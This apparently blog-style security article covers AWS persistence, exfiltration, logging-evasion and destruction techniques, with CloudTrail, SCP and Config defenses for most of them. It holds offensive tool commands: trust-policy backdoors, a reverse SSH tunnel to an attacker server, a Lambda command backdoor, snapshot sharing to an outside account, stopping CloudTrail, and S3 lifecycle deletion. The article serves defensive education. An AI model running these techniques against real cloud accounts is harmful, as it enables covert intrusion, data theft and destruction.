However, as cloud adoption accelerates, its features and complexity introduced new challenges associated with securing these environments. Even if cloud providers offer several security features such as, discretionary access control and logging mechanisms, many organizations still fail to implement effective cloud security strategies due to the novelty of these environments. Among the most predominant misconfigurations, misconfigured IAM roles, overly permissive policies, exposed credentials, and lack of visibility into cloud-native activity create opportunities for attackers to exploit.

When an attacker gains initial access to a cloud environment whether through opportunistic access or active exploitation, the most common action following the initial compromise and privilege escalation is to deploy access persistence on the environment.

Unlike traditional on-premises networks, cloud environments offer several services and configuration loopholes that can be abused to maintain long-term access even after remediation efforts have begun.

In this article, we’ll explore the concept of access persistence in AWS, dissecting the techniques adversaries can use to hide themselves within a cloud environment.

All along this article, the features of a dedicated tool designed to simplify and automate the deployment of persistence techniques in AWS environments will be presented

Persistence on AWS

IAM persistence

In the context of AWS, Identity and Access Management (IAM) is the cornerstone of security. It governs who can do what in the environment by defining roles, users, groups, and their permissions (policies) that determine access to resources: if you have not been explicitly allowed to perform an action , you won’t be able to do anything.

At a high level, IAM operates by associating identities (such as IAM users or roles) with policies that are JSON documents describing the privileges of an IAM object on a resource.

These policies are highly granular, supporting conditions like IP restrictions, MFA enforcement, or access during specific timeframes. IAM configurations are not just access controls, they are part of the infrastructure itself.

IAM has become a powerful vector for access persistence and unlike on an on-premise environment, an attacker with sufficient privileges doesn’t need to drop binaries or execute malicious software to maintain access on the environment. Instead, they can modify IAM policies, create new users, attach rogue permissions to existing roles, or backdoor trusted identities.

What makes IAM-based persistence especially dangerous is its stealth and durability. Indeed, changes to IAM often blend in with legitimate administrative activity, making them harder to detect. If the environment is not well maintained or not reviewed on a regular basis, finding the malicious policy is like finding a needle in a haystack.

In this section, we’ll explore common and lesser-known techniques attackers can use to establish persistence by modifying IAM configurations. We’ll break down practical examples and highlight the indicators defenders should monitor to detect and respond to these often-overlooked tactics

Access key

Attack

The 101-persistence technique is adding an AccessKey to a user.

On AWS, users can connect through the CLI using AccessKey. The easiest way to deploy persistence is by deploying an AccessKey on a privileged user.

Once the AccessKey is created for the user, the attacker can access AWS through the CLI with the user’s privileges.

However, this technique has some limitations:

• Only two AccessKey can be registered at once on a user.
• Some SCP, a global policy applied by the organization on a sub-account can prevent users from using AccessKey or enforce MFA

Regarding the limitation of number of AccessKey registered on a user, it is possible to:

1. List the AccessKey registered on a user
2. Get the last time the AccessKey has been used: usually, if a user has more than one AccessKey, the second one has been lost, is not used anymore and can be deactivated and removed with an acceptable risk
3. Delete the unused AccessKey:

In order to list and delete an AccessKey, the following privileges are needed:

• iam:ListAccessKeys: retrieve the AccessKeys details
• iam:UpdateAccessKey: deactivate the key prior to its deletion
• iam:DeleteAccessKey: effectively delete the AccessKey

For the MFA it is possible to register an MFA on a specific user without his consent allowing bypassing the restriction. However, if the AccessKey login is denied, this technique cannot be used.

In order to add an AccessKey to a user, the following privilege is needed:

• iam:CreateAccessKey

In order to add MFA to a user, the following privilege is needed:

• aws:CreateVirtualMfaDevice
• aws:EnableMfaDevice

AWSDoor

This technique is implemented in AWSDoor:

python .\main.py -m AccessKey -u adele.vance
[+] Access key created for user: adele.vance
[+] Access key ID: AKIAWMFUPIEBGOX73NJY
[+] Access key Secret: p4g[…]i7ei

The key is then added to the user:

Defense

While adding an AccessKey to a user is the easiest way to achieve persistence in an AWS environment it is also one of the least stealthy methods.

Indeed, if the detection team detected the environment compromise, it can easily find the AccessKey deployed by the compromised user through the AWS CloudTrail logs:

Moreover, some security solutions such as Cloud Security Posture Management system can detect this type of persistence if users usually do not use AccessKey.

Finally, as a recommendation, it is usually better to avoid using IAM users with AccessKey and prefere using the AWS SSO: https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-sso.html

Once the SSO authentication is configured, the number of “human” users drops to 0 with only the service ones remaining. It is then easier to spot rogue AccessKey and closely monitor existing ones (CICD service users for example).

Trust policy

In AWS, roles are IAM objects used to delegate access across services, accounts, or users. Unlike IAM users, roles do not have long-term credentials. Instead, they are assumed (used) through the sts:AssumeRole API, which returns short-lived credentials granting the permissions defined in the role’s permission policies.

To control who can assume a role, AWS uses a special document called a trust policy. A trust policy specifies the trusted principals identities (users, roles, accounts, services, or federated users) that are allowed to assume the role. If a principal is not listed in a role’s trust policy, they simply cannot assume it, no matter what permissions they hold elsewhere.

Real life usecase for AssumeRole and Trust Policy

Imagine a company with multiple AWS accounts:

• one for development
• one for staging
• one for production

Rather than creating and managing separate IAM users in each environment, the organization defines a centralized group of administrators in a management account.

Each target account defines a role with elevated privileges (e.g., CrossAdminAccess), and configures a trust policy allowing only the management account’s IAM identities to assume it. The TrustPolicy, deployed on each target account will look like this:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::${MgmtAccountId}:user/ADM01"
      },
      "Action": "sts:AssumeRole",
    }
  ]
}

This approach provides clean separation between environments while maintaining centralized control. Admins “switch roles” from the management account into the other accounts only when needed without duplicating credentials.

After the AssumeRole action, the administrator in the Management account will be granted temporary administration privileges on the targeted account.

Attack

As it is shown in the previous TrustPolicy, the capacity to assume a specific role in an account is managed by the policy that explicitly allows a foreign account to assume a role in the target account.

However, nothing enforces the TrustPolicy to allow only an account from known and trusted account. An attacker with the privileges to modify a TrustPolicy can backdoor the policy by allowing his own AWS account to assume the role in the compromised account:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": [
          "arn:aws:iam::${attackerAccountId}:role/fakeRole"
        ]
      },
      "Action": "sts:AssumeRole"
    }
  ]
}

Once this policy is applied, it is possible to assume the backdoored role directly from the external.

AWSDoor

This technique is implemented in AWSDoor:

python .\main.py -m TrustPolicy -a FAKEROLE -r arn:aws:iam::584739118107:role/FakeRoleImitatingTargetRoleNames
[-] Initial trust policy:
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "Statement1",
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::438465151234:root"
      },
      "Action": "sts:AssumeRole"
    }
  ]
}
[+] New trust policy:
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "Statement1",
      "Effect": "Allow",
      "Principal": {
        "AWS": [
          "arn:aws:iam::438465151234:user/ADM01",
          "arn:aws:iam::584739118107:role/FakeRoleimitatingTargetRoleNames"
        ]
      },
      "Action": "sts:AssumeRole"
    }
  ]
}

[+] Do you want to apply this change? (yes/no): yes
[+] Trust policy for FAKEROLE updated

The tool allows you to:

• target a specific statement with the -s argument: by default, the tool will inject the trust policy in the first Allow statement it finds. If there are multiple statements in the policy, you can use the -s parameter to target a specific statement
• create a new statement with the -c argument: with this option you can force the creation of a new statement with a specific name (MALICIOUS in the example below)

Defense

This type of persistence is a powerful persistence mechanism in AWS environments. This technique does not require storing credentials inside the victim environment, making it very stealthy and durable, especially because the detection team usually focuses only on access keys or local role usage.

Detection of this persistence method requires close monitoring of trust policy changes. AWS CloudTrail records events like UpdateAssumeRolePolicy, which can reveal when a trust policy is modified.

Likewise, AWS Config can be used with custom rules to detect TrustPolicy targeting unmanaged account.

NotAllow

Attack

An IAM role policy is a JSON document attached to an IAM role that defines what actions the role is allowed (or denied) to perform, on which resources, and under which conditions.

For example, the following policy allows the associated role to list all S3 buckets in the account.

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "s3:ListBucket",
      "Resource": "*"
    }
  ]
}

In the policy syntax, it is possible to use negation operator: instead of defining a whitelist of allowed action, it is possible to define a blacklist of actions.

Indeed, by using the NotAction operator, AWS will apply the statement effect to every action except those explicitly listed.

For example, the following policy:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "NotAction": "s3:ListBucket",
      "NotResource": "arn:aws:s3:::cloudtrails-logs-01032004"
    }
  ]
}

This policy will allow the role to perform any action except the ListBucket action on the cloudtrails-logs-01032004 S3 bucket: it basically grants the associated role the maximum privileges on the account.

For a defender, at first glance, this policy looks like an inoffensive policy targeting a S3 resource, but it in fact grants AdministratorAccess privileges to the role.

The attacker can then backdoor the specific role using the TrustPolicy persistence as explained before to get a full remote access to the AWS account.

AWSDoor

This technique is implemented in AWSDoor:

python .\main.py -m NotAction -r FAKEROLE -p ROGUEPOLICY
[+] The following policy will be added :
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "NotAction": [
        "s3:ListBucket"
      ],
      "NotResource": "arn:aws:s3:::cloudtrails-logs-01032004"
    }
  ]
}

[+] Do you want to apply this change? (yes/no): yes
[+] Created policy ARN: arn:aws:iam::438465151234:policy/ROGUEPOLICY
[+] Attaching the policy to FAKEROLE
[+] Successfully created policy ROGUEPOLICY and attached to FAKEROLE

For the policy, there are two possibilities:

• Attached policy: this is the most common way to add a policy to a role. First a policy is created with the NotAction statement, then the policy is attached to the role. The policy will then appear in the IAM/Policies panel:

• Inline policy (-i): this is the quickiest way to add a policy to a role. The policy is directly created at the role level (hence the inline). While it is easier to create such policy it is usually seen as bad configuration practice because the policy will not appear in the IAM/policies panel, making it harder to track it back during a configuration review.

Therefore, specific compliance tools can flag the inline policy. Not because it is malicious but because it is not compliant with security best practices.

Defense

From a defender’s perspective, the use of NotAction along with Allow effect in IAM policies should immediately raise suspicion, especially when paired with NotResource fields.

The following detection and mitigation strategies can help security teams defend against this type of privilege escalation:

• Monitor IAM Policy Changes via CloudTrail: any creation or modification of IAM policies can be tracked through CloudTrail with the following event: CreatePolicy, PutRolePolicy, AttachRolePolicy, CreatePolicyVersion and SetDefaultPolicyVersion
• Investigation on policy documents containing the NotAction This can be automated by creating associated scenario on CloudWatch (NotAction in requestParameters.policyDocument)
• Enforce compliance check with AWS Config: a custom config rule can be defined to flag any policy including NotAction or NotRessource with an Allow effect

Resource based persistence

In AWS, it’s common to attach IAM roles to resources like Lambda functions, EC2 instances, or ECS tasks. This lets those services access other AWS resources securely, based on the permissions defined in the role. For example, an EC2 instance might use a role to read secrets from Secrets Manager or push logs to CloudWatch.

From an attacker’s point of view, this setup can be useful for persistence. If they manage to compromise a resource that has a highly privileged role attached, such as one with AdministratorAccess, they can use the role to interact with AWS just like the resource would.

This means the attacker doesn’t need to create new credentials or modify IAM directly. As long as they maintain access to the resource, they can continue using the role’s permissions, which makes this method both effective and harder to detect.

Lambda

AWS Lambda functions have become a popular choice for running code in the cloud without having to manage servers. They allow developers and organizations to automate tasks, respond to events, and build scalable applications that run only when needed. For example, Lambda can process files uploaded to S3, handle API requests, or automatically react to changes in a database.

For example, in order to manage the account administrators, it is possible to create a Lambda function that adds privileges to a user when he is added to a DynamoDB database: the modification of the DynamoDB trigger the lambda code and makes it change the user privilege according to the change in the database.

Therefore, it is not usual to associate an IAM identity to a lambda.

Over-privileged role

A way to get persistence on an AWS account is to either associate an overprivileged IAM identity to an existing lambda or modify the code of an already existing over-privileged lambda.

For example, the attacker can:

• Create a lambda function
• Associate an IAM privileged role (using the NotAction trick for example)
• Add a python code allowing either execute arbitrary code or extract the lambda temporary credentials
• Expose the lambda directory on Internet through an API Gateway or a Lambda Function

The following figure summarizes the persistence deployment:

Lambda layers

The Lambda persistence technique described above is effective, but it has a major drawback: the malicious code is easy to spot. If someone modifies the main business logic of the function or reviews the source during an investigation, the backdoor will likely be discovered and removed.

A more subtle approach is to hide the malicious payload in a Lambda layer rather than in the function code itself.

A Lambda layer is a way to distribute shared dependencies such as libraries or custom runtimes. Instead of embedding these directly into the function, you can upload them separately and attach them to one or more Lambda functions. This keeps the deployment package lighter and makes it easier to reuse code across projects. Layers are commonly used to include tools like requests or AWS SDKs (boto3) across multiple functions.

From AWS’s perspective, the layer is attached to the function, but its contents are not displayed directly in the console.

As shown in the screenshot below, AWS only displays the presence of the layer, and to inspect it, a user has to manually browse to the Lambda Layers panel and download it as a ZIP file.

The use of a layer is displayed (and can be easily missed) but in order to download the code, the user needs to go on a specific Lambda Layer panel and download (not display) it in Zip format:

These extra steps can make defenders less likely to review the layer’s content during the initial triage.

An attacker can take advantage of this by creating a layer that contains a poisoned version of a standard library, such as requests. By overriding an internal function with malicious behavior, the attacker gains remote code execution each time the function is used.

For example, after downloading the requests package using pip:

pip install -t python requests

The attacker modifies the get() function to execute arbitrary commands:

Then, the package is zipped and deployed as a layer, which is attached to the target function:

Finally, the Lambda source code is updated to use the poisoned library, which may appear harmless at first glance:

What looks like a legitimate HTTP request is now a trigger for hidden malicious behavior. Unless the defender inspects the actual content of the attached layer, this backdoor may remain undetected.

AWSDoor

This technique is implemented on AWSDoor:

python .\main.py -m AdminLambda -r FAKEROLE -n lambda_test2 -l
[+] The following trust policy will be created :
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Service": "lambda.amazonaws.com"
      },
      "Action": "sts:AssumeRole"
  ]
}

[+] Do you want to apply this change? (yes/no): yes
[+] Layer created
[+] Created lambda function lambda_test2
[+] Invoke URL : https://g4uqlkoakdr36m6agsxcho3idi0krwah.lambda-url.eu-west-3.on.aws/

A few additional parameter can be used:

• -l : use a lambda layer, otherwise include the malicious code directly in the lambda
• -g: use a gateway api, otherwise, use a FunctionURL

The GatewayAPI is a cleaner way to expose a lambda on Internet, however, it is possible to easily spot that the lambda can be reached from the Internet as it is displayed as a trigger:

The payload deployed by default takes a python code passed as the get parameter cmd, execute it and output the data stored in the result variable:

curl ${invokeUrl}/cmd=`echo ‘result = “Hello World”’ | basenc --base64url` 
>> {result: “Hello World”}

Defense

From a defender’s perspective, Lambda layers are often overlooked during incident response, especially when only the function code is reviewed. Since layers are not displayed inline in the Lambda console and must be downloaded manually as ZIP archives, malicious content can easily go unnoticed. This makes layers an attractive location for attackers to hide backdoors or poisoned dependencies.

The following detection and mitigation strategies can help security teams identify and respond to suspicious use of Lambda layers:

• Audit Lambda Layer Attachments: The UpdateFunctionConfiguration event is recorded by CloudTrail when a new layer is attached to a Lambda function. It is then possible to track unusual changes or associations between unrelated teams or projects.
• Restrict layer update to CICD workflow: Prevent any layer modification but from the CICD pipeline, by whitelisting the roles allowed to do it. Focus detection and threat hunting effort on misusage / update of this role.
• Validate lambda exposed directly on the internet: Exposing lambda on the Internet can be a sign of persitence deployment. Any usual configuration modification implying the exposition of such resource on the internet must be investigated

While layers are a powerful and useful feature, they represent a blind spot in many AWS security monitoring setups.

EC2

Socks

AWS Systems Manager (SSM) provides a powerful and flexible way to manage and interact with EC2 instances without requiring direct network access such as SSH or RDP. At its core, SSM enables remote management by using an agent installed on the instance, which communicates securely with the Systems Manager service. Through this channel, administrators can execute commands, run scripts, or open interactive shell sessions on instances, all without exposing them to the public internet or managing bastion hosts.

One of the main advantages of SSM is that it reduces the attack surface by limiting the exposed services. Since communication is initiated from the instance itself, which reaches out to the SSM service endpoints, the approach works even in secured network environment where inbound access is restricted.

From a security perspective, while SSM reduces exposure, it also introduces new risks. For example, if an attacker compromises an identity with permission to start SSM sessions or send commands, they can gain remote code execution on the instance without needing any network foothold.

An attacker with access to the AWS account can leverage SSM capabilities to compromise an EC2 instance and use it as a network pivot. One common approach is to deploy an SSH reverse SOCKS proxy. Using SSM, the attacker can execute commands on the EC2 instance to deploy an SSH key, then run a command to expose the EC2’s SSH port back to their own server:

ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -R 2222:127.0.0.1:22 jail@{attackerServer} -I ~/cloudinit.pem -N -f

Then, the attacker, from his server, can open an SSH socks with the following command:

ssh -D 4444 ssm-user@127.0.0.1:2222

This allows the attacker to tunnel traffic through the compromised EC2, using it as a foothold inside the network.

Snapshot exfiltration

While not a persistence mechanism, snapshot exfiltration is a powerful technique for data exfiltration in AWS environments. It takes advantage of the ability to share Elastic Block Store (EBS) snapshots across AWS accounts. While this feature is intended for backup or collaboration, it can be leveraged for massive data exfiltration.

An attacker with sufficient permissions in a compromised AWS account can create a snapshot of an EBS volume, then share it with an external account they control.

From that external AWS Account, the snapshot can be mounted, copied, and inspected giving the attacker full access to the underlying disk data without ever downloading anything from the target environment directly.

This method is particularly dangerous when applied to sensitive infrastructure. For example, if a domain controller is virtualized in AWS, an attacker can take a snapshot of its volume, share it with his own AWS Account and extract sensitive files like ntds.dit.

All of this can happen without needing to interact with the instance over the network, by passing any security tools deployed on the internal network.

This is a low-noise, high-impact data exfiltration technique that abuses AWS-native capabilities that goes unnoticed if specific controls aren’t in place.

AWSDoor

These two techniques are implemented on AWSDoor. The following commands can be used to export a specific EC2 instance:

python .\main.py -m EC2DiskExfiltration -i i-0021dfcf18a891b07 -a 503561426720   
   
[-] The following volumes will be snapshoted and shared with 503561426720:                                       
        - vol-09ce1bf602374a743
[+] Do you want to apply this change? (yes/no): yes
[-] Created snapshot snap-006e79ceddf11a103 for volume vol-09ce1bf602374a743
[+] Shared snapshot snap-006e79ceddf11a103 with account 503561426720

Likewise, the SSH socks action can be automated:

python .\main.py -m EC2Socks -name i-0021dfcf18a891b07 -key "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILm9CIAw/X84wK1F5yfHJ+Z80S8iJjPNRuOIZlo7lMbg" -remotekey ..\..\Downloads\EC2.pem -user ec2-user -socksport 4444 -sshuser admin -sshhost 13.38.79.236 --method systemd

[+] Command sent with ID: abdaf34e-7750-47b5-88c5-05d3fc1e67da
[-] Waiting 10 seconds for execution
[+] Status: Success

Detection

For the snapshot part, CloudTrail logs several events:

• CreateSnapshot logged when a snapshot is created. This is a routine operation in most environments with backup policies, so it’s not inherently suspicious. However, it’s easy for attackers to blend into the noise by mimicking standard backup activity.
• ModifySnapshotAttribute when the snapshot is shared: while modifying a snapshot attribute is not unusual, a simple analysis of the content shows that the snapshot has been shared to a remote account:

Therefore, it is possible to limit this type of exploit by monitoring the ModifySnapshotAttribute and ensure that the userId set is in the range of the accounts linked to the organization.

Likewise, some security by obscurity method would be to add specific tags when Snapshot are performed for backup purpose and raise an alert when a snapshot is created without the appropriate tag. The tag can for example be a hash of the creation time seeded by a secret only known by the backup tool:

BackupTag=HMAC(creation_time, secret)

For the reverse socks exploitation, it depends on the way the SSM access is performed:

• From the AWS GUI: a StartSession event is logged on CloudTrails when the attacker starts the remote connection to the machine. The log contains the attacker IP address as well as the EC2 id targeted.

• From the AWS CLI or AWSDoor, the StartSession event is not raised but the GetCommandInvocation is logged instead:

However, whatever the technique used, CloudTrails does not log the full commandline sent. Therefore, it is still interesting and important to add a EDR solution directly on the computing ressources.

Defense impairment

Defense impairment refers to any deliberate action taken by an attacker to weaken, disable, or bypass the security monitoring and detection capabilities of a target environment. In AWS, this typically involves tampering with logging configurations, disabling security services, or altering alerting mechanisms to avoid detection during or after an attack.

AWS provides several built-in services designed to monitor activity, enforce compliance, and alert on suspicious behavior. These include CloudTrail for API call logging, CloudWatch Logs and CloudWatch Alarms for real-time monitoring and alerting, GuardDuty for threat detection, Security Hub for centralized security findings, and Config for resource configuration tracking. More advanced environments may also rely on third-party SIEMs or CSPM platforms integrated into their AWS accounts.

Disabling or modifying any of these services can significantly reduce the visibility defenders have over malicious activity, making defense impairment a critical tactic in many cloud-based attacks.

CloudTrail and CloudWatch

Introduction to AWS logging

In AWS environments, CloudTrail and CloudWatch are two core logging and monitoring services that play complementary roles, but they serve very different purposes. CloudTrail is designed to log all API activity that happens within an AWS Account. It records every call made through the AWS Management Console, AWS CLI, SDKs, and other AWS services. This means when someone creates an EC2 instance, modifies a security group, or deletes a resource, CloudTrail captures the who, when, where, and what of that action. These logs are essential for auditing, forensic investigations, and tracking changes made across the infrastructure.

CloudWatch, on the other hand, focuses on operational monitoring. It collects and stores logs from services and applications, tracks metrics like CPU usage or memory consumption, and supports alarms and dashboards for real-time visibility. When an application writes logs or when you want to monitor system performance, CloudWatch is the tool used. It can also be configured to receive and store logs from Lambda functions, EC2 instances, or custom applications.

Network logging is also proposed by AWS through the VPC Flow Logs or VPC Mirroring services. Even though they can be of use for security purposes, their main utility are more operational monitoring oriented. This article will focus on Cloud Trail service.

CloudTrail is enabled and logs the event for 90 days. This service is a logging baseline that cannot be limited or disabled.  However, additional logging capabilities can be enabled with the definition of trails in CloudTrail.

CloudTrail will keep the log records and guarantee their integrity for a 90 day period, after which the logs are purged from the Event History. If an organization wants to ensure greater retention time or perform a specific real time monitoring based on those logs, it has to configure a trail. This configuration will duplicate the logs and forward them to an S3 bucket, on which can be plugged further security tooling.

As a Cloud administrator, it is possible to create and Organization Trail that will replicate itself in the all the targeted Organization Account. When set, it is not possible for a targeted account to delete / deactivate the trail.

Stop logging

Attack

While it is not easily possible to impact the logging capabilities of CloudWatch, it is possible to impact those of CloudTrail by simply deactivating the logging capability.

This feature allows to stop a trail from logging the event without deleting it:

While this technique is effective to impair specifics logging capabilities, it has severs draws back:

• limited effect: even though a specific trail will be impacted, Organization Trails cannot be evaded this way. In addition, Event History with its 90 days unalterable retention period will still be available
• Noisy action: even if the stopping command is not detected, most SIEM solutions trigger alarms when the log flow stops.

AWSDoor

This technique is implemented in AWSDoor:

python .\main.py --m CloudTrailStop -s
[+] Trail logging stopped on 'management-events'

The limitation is that this will only deactivate trails defined in the current account and won’t remove trails defined at the organization level.

Defense

On the defender side, this technique can be simply detected by looking at the GUI moreover, CloudTrail also record the StopLogging event hinting that a Trail has been tampered.

Event selector

Attack

In AWS CloudTrail, event selectors allow fine-grained control over what types of events a trail records. These selectors can be configured to log management events, data events, or both. Management events capture operations that manage AWS resources, such as launching an EC2 instance or modifying IAM roles. These are typically high-level API calls made through the console, SDK, or CLI and are critical for auditing administrative actions.

By default, trails log management events, but users can modify event selectors to exclude them partially or completely. This flexibility can be useful for reducing noise or cost in environments with heavy automation, but it also introduces a risk. An attacker with the right permissions could tamper with a trail’s event selectors to suppress specific types of logs, such as disabling management event logging, thereby impairing visibility into changes made during or after a compromise.

Therefore, by altering event selectors it is possible to degrade the CloudTrail logging capabilities, making it harder for defenders to detect unauthorized activity or investigate incidents.

The management event can be simply deactivated. For the data event, in order to avoid having blank field on the GUI it is possible to enforce the event selector configuration to only log event related to a none-existing resource:

AWSDoor

AWSDoor can be used to reconfigure the event selector in order to prevent data and management event logging:

python .\main.py --m CloudTrailStop
[+] Adding event selector on management-events
[+] Management events disabled on trail 'management-events'

Once the script is run, the event selector is configured. The trail still appears as active:

However, the event selector prevents further event logging:

Defense

The creation of the event selector can be detected using the PutEventSelector event logged in CloudTrail:

Likewise, the analysis of the log collection and the volumetry would be an interesting IOC. If the log flow stopped, it is likely due to an attack.

Destruction

Attacks focused on data destruction are designed to cause important operational damage by permanently erasing or corrupting critical information and infrastructure. Unlike data exfiltration or privilege escalation, these attacks don’t aim to extract value or maintain access, but rather to disrupt business continuity, damage reputation, or sabotage systems beyond recovery.

In cloud environments like AWS, destructive attacks can impact all types of resources, including storage resources, computing resources or configuration components like IAM roles and Lambda functions:

• Deleting S3 buckets can lead to the loss of backups, customer data, or reglementary / technical information (logging).
• Erasing EBS volumes or RDS snapshots can lead to total loss of application state or critical databases.
• Formatting the AWS Account (by deleting all the possible services) can lead to a very long service interruption, even if the data are externally backup, especially if the infrastructure is not deployed through IaC, or if the IaC is destroyed as well.

AWS Organization Leave

Organization Leave

AWS Organizations is a service that allows you to centrally manage and govern multiple AWS accounts from a single location. At the top of the hierarchy is the Organization service nested one management account (called the payer / master / management account) and one or more member accounts. These accounts can be grouped into organizational units, making it easier to apply policies or manage backup at scale.

Each AWS account in an organization remains isolated in terms of resources and identity, but the organization can enforce policies such as Service Control Policies (SCPs) across all accounts that will enforce specific limitation on all accounts as a GPO does on a Windows domain. This structure is particularly useful for separating data and workloads by team, environment, or business unit while maintaining centralized governance.

AWS also allows you to invite or attach an existing standalone account into an organization. This process can be initiated from the management account and requires the invited account to accept the request. Similarly, accounts can be detached and moved to another organization, though this action comes with restrictions. For example, certain AWS services or features may behave differently once an account is part of an organization, especially in terms of consolidated billing and policy enforcement. This capability can be useful for mergers, restructurings, or account lifecycle management but also opens up a possible attack vector if not closely monitored.

While the LeaveOrganization is a destructive operation, it can be also used to exfiltrate data before destruction. Instead of erasing all resources in a compromised AWS account, an attacker may choose to detach the account from the organization, retain all infrastructure intact, and slowly exfiltrate sensitive data.

For example, a company is hosting a eShop application on AWS. The attacker who has compromised the AWS account uses the LeaveOrganization action to retrieve control over the eShop resource. This action removes the account from centralized control, effectively stripping away any Service Control Policies, centralized logging, or governance mechanisms previously enforced by the organization without impacting its availability.

With full control over this now standalone account, the attacker can operate without oversight. The eShop continues functioning normally, serving customers and processing orders, but behind the scenes, the attacker has unrestricted access to all associated resources. They can read from S3 buckets, query the customer database, extract payment data, and silently exfiltrate banking information and personal details of every user without interrupting the service or triggering operational alarms.

From the company’s perspective, once the account has left the AWS Organization, the security team loses visibility and administrative authority over it. They cannot easily shut down the impacted resources directly from their AWS account.

Without admin access to the now-isolated account, the company has no way to disable services, suspend billing, or terminate the compromised infrastructure. This gives the attacker complete operational freedom, while the organization is left blind and unable to respond but request AWS Support.

Privileges needed

To execute the LeaveOrganization action and detach an AWS account from its organization, the attacker must possess elevated permissions within the targeted account. Specifically, the following conditions and IAM privileges are required:

• Account-Level Access: The attacker must have direct access to the member account they intend to detach. This means they must already be authenticated within that specific AWS account — either through stolen credentials, session tokens, or by exploiting vulnerable IAM roles or policies.
• organizations:LeaveOrganization Permission: This is the key IAM permission required to invoke the LeaveOrganization API call. It must be explicitly allowed in the attacker’s effective permissions. This action is only valid when executed from within the member account, not from the management account.
• Billing Access Although not strictly required to leave an organization, attackers with access to billing and account settings (via aws-portal:*, account:*, or billing:* actions) can further entrench themselves, update contact information, or lock out legitimate users after detachment. In addition most accounts created within an Organization are done so without payment details (because they inherits those from the payer account). However, for an account to be detached / standalone, it has to have this information filled.

Defense and detection

Preventing Unauthorized LeaveOrganization Calls

The most effective control is the use of Service Control Policies (SCPs). SCPs define the maximum permissions available to accounts within an AWS Organization and can explicitly deny the organizations:LeaveOrganization action, even if a local IAM user or role has been granted that permission.

The LeaveOrganization operation is executed from within the member account itself, not by the management account. It means that an attacker does not need to fully compromise the AWS organization to perform the account detachment.

The SCP, defined at the organization level, can prevent any user in the accounts to leave the organization. In this case, the attacker must first compromise the whole AWS organization before being able to perform the attack.

The following policy will prevent any misuse of LeaveOrganization:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "DenyLeaveOrganization",
      "Effect": "Deny",
      "Action": "organizations:LeaveOrganization",
      "Resource": "*"
    }
  ]
}

This SCP should be attached directly at the root of the AWS Organization to ensure it applies to all member accounts. It ensures that no account can unilaterally leave the organization, even if compromised.

Detection and Monitoring

Even with SCPs in place, monitoring for LeaveOrganization attempts is essential for defense-in-depth. Indeed, even if the LeaveOrganization failed due to the SCP, having monitoring on the LeaveOrganization event could help detect the attack occurring on the AWS environment.

For example, a CloudWatch Alarms to trigger alerts when the event LeaveOrganization or DisablePolicyType.

S3 destruction

S3 standard deletion policy

Amazon S3 is one of the most widely used and trusted storage services within the AWS ecosystem. Organizations rely on it to store everything from logs and files to critical business data and backups. The destruction of S3 data can have far greater impact than the loss of a few compute resources, making it a high-value target for attackers.

While uploading and storing data in S3 is straightforward, deleting large volumes of data is intentionally resource-intensive and time-consuming. When an S3 bucket is deleted or cleared, AWS performs a recursive, sequential deletion of every object meaning the process can take hours or days for large environments.

Additionally, AWS enforces eventual consistency on object deletions, so even after a delete request, objects may temporarily persist. These design choices provide defenders with a crucial time window to detect and respond to deletion attempts before irreversible data loss occurs.

Lifecycle policy

Amazon S3 Lifecycle Policies provide an automated mechanism to manage the storage lifecycle of objects within a bucket. These policies allow users to define rules that transition objects to different storage classes or expire (delete) them after a defined period, based on criteria like object age, prefix, or tags. This automation helps organizations optimize storage costs and enforce data retention policies without manual intervention.

However, lifecycle policies operate differently from manual processes and bypass the standard safeguards designed to slow mass deletions. An attacker who gains elevated privileges in an AWS account can create or modify a lifecycle policy that sets object expiration to the minimum allowed duration (1 day). Once applied, this policy is retroactive: all existing objects in the bucket will be marked for expiration and scheduled for removal, and all newly created objects will expire shortly after creation.

Unlike manual deletions, lifecycle expirations are handled internally by AWS at scale and complete much faster. This can enable stealthy, rapid mass deletion of bucket contents without generating the volume of API calls or operational noise typical of manual recursive deletes. Since lifecycle policy changes may not trigger immediate or obvious alerts, such abuse poses a significant risk for undetected data destruction within AWS environments.

As lifecycle policies are applied on a daily basis, the defender will have less than a day to detect the policy change, remove the deletion mark and revoke the attacker access.

AWSDoor

This technique is implemented on AWSDoor:

python .\main.py --m S3ShadowDelete -n s3bucketname

Detection

Detection of shadow deletions through S3 Lifecycle Policies can be easily missed because the deletion of objects via lifecycle expiration does not raise standard DeleteObject events in CloudTrail as manual deletions do.

Instead, AWS internally handles the deletion process asynchronously, and it does not attribute the deletions to a specific user or role. Therefore, many security monitoring setups fail to recognize this as a malicious action aiming to impact data availability. The only reliable indicator of such an operation is the PutBucketLifecycleConfiguration API event, which logs the creation or update of a lifecycle rule by defining a new Expiration parameter.

To detect potential abuse, a CloudWatch rule should be configured to monitor PutBucketLifecycleConfiguration events and automatically inspect the new policy configuration. If the policy includes an Expiration action set to the minimum allowed (1 day) or applies broadly to all objects this should be treated as a high-risk change.

In sensitive environments, such configuration changes should trigger immediate alerts, automatic remediation and require manual approval. Since this method bypasses the typical audit trail of object-level deletes, early detection at the configuration level is essential to prevent silent and large-scale data loss: the defense team will only have one day to react.

Conclusion

CSPM

The article has shown how IAM configurations can be silently abused to maintain long-term access in AWS environments. Techniques such as AccessKey injection, trust policy backdooring, and the use of NotAction policies allow attackers to persist without deploying malware or triggering alarms.

